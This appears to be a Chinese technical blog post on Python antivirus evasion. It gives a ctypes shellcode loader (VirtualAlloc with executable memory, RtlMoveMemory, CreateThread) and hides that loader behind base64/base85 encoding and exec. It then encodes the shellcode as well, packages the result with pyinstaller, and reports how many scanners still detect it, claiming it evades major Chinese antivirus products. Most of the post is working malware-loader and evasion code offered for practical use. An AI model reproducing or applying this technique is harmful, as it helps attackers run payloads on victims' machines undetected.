python 加密_python字符加密免杀

目前传统的或网上以公开的免杀方式几乎都不免杀了(见光死),所以本次免杀方式也只是分享一下思路,如果后面不免杀了再改改就可以了

  • 这里使用的是python加载shellcode,原始的shellcode加载源码如下:
import ctypes

shellcode=b"这里是生成的shellcode"
#设置函数VirtualAlloc的返回类型为c_int64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
 
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
 
#将shellcode移动到申请的内存,起始地址为c_int64类型
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
 
#创建线程并执行
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int64(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))

如果裸用以上的方式会被各种杀毒软件秒杀

免杀

那该如何绕过杀软不被检测到呢,现在几乎所有的杀毒厂商都是基于特征查杀的,杀软会扫描程序的字符串同时与自己的病毒特征库进行匹配,如果程序中有某些恶意函数之类的字符串被匹配到,那么杀软就会认为此程序为恶意文件直接ban掉

知道杀软的检测规则就很好办了,那就那段报毒改那段字符就行了,但是那样又太累了,此时就得做字符串全加密了,至于加密类型看个人喜好了,想让字符串运行就得用到两个函数 eval,exec,这里我用exec进行免杀

  1. 首先将上述代码放在字符串中,然后进行base64加密处理再输出
import base64
x="""ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int64(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))
"""
ex=base64.b85encode(base64.b64encode(x.encode('utf-8')))
print(ex)
  1. 然后复制输出的字符串,粘贴在下方解密处
import ctypes,base64

shellcode = b'这里是shellcode'
exec(base64.b64decode(base64.b85decode("Lu+J7Qb%ZUVO3;FQEO~&P*X~3WJqjx"+"T3AhWWHM}ZT0=>4No{y@Ol@>*V`)ipNo_T3Vnj`OOl(RpVns1_NoR0x"+"Q$+"WJqjxT3AhWSur^=VN*$RNo.......").decode()))
  • 看下免杀效果152d1a53c39a799949d627469d3fc192.png看到评分21分就有点难受,还有两个检测到了,但是过掉主流的360,火绒,腾讯等应该无压力
  1. 再改,把分降下来,刚才我们shellcode并没有加密处理,只是将加载shellcode的载体进行加密了,这次都加密了试试(这里采用b85格式加密)
import base64
shellcode=b"这里是生成的shellcode"

print(base64.b85decode(shellcode))
  1. 复制上面输出的密文,然后粘贴在shellcode处
import ctypes,base64

encode=b'{78f3@aV_@002QzK~PdrR!A|@Wk`!sU`UHn7)Xm!AV`aHP)HBAN=i*J$w)E4tUO_S0xTdw!O0Cl0m0(!Qb.....'
shellcode=bytearray(base64.b85decode(encode))
exec(base64.b64decode(base64.b85decode("Lu+J7Qb%ZUVO3;FQEO~&P*X~3WJqjx"+"T3AhWWHM}ZT0=>4No{y@Ol@>*V`)ipNo_T3Vnj`OOl(RpVns1_NoR0x"+"Q$+"WJqjxT3AhWSur^=VN*$RNo.......").decode()))
  1. 最后使用pyinstaller进行打包成exe格式,安装命令:pip insatll pyinstaller
  2. 微步云沙箱查杀率f692406f89273fd5ffc73e061005b317.png这次就比上次好多了,只剩10分了,免杀国内主流杀毒软件不是问题
  • 经过测试 py文件内容不管是什么只要是用pyinstaller打包的程序在vt上最低为6/71(看来python的打包程序已经逐渐被拉入特征库了,不知道pyinstaller的作者该怎么想?)
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值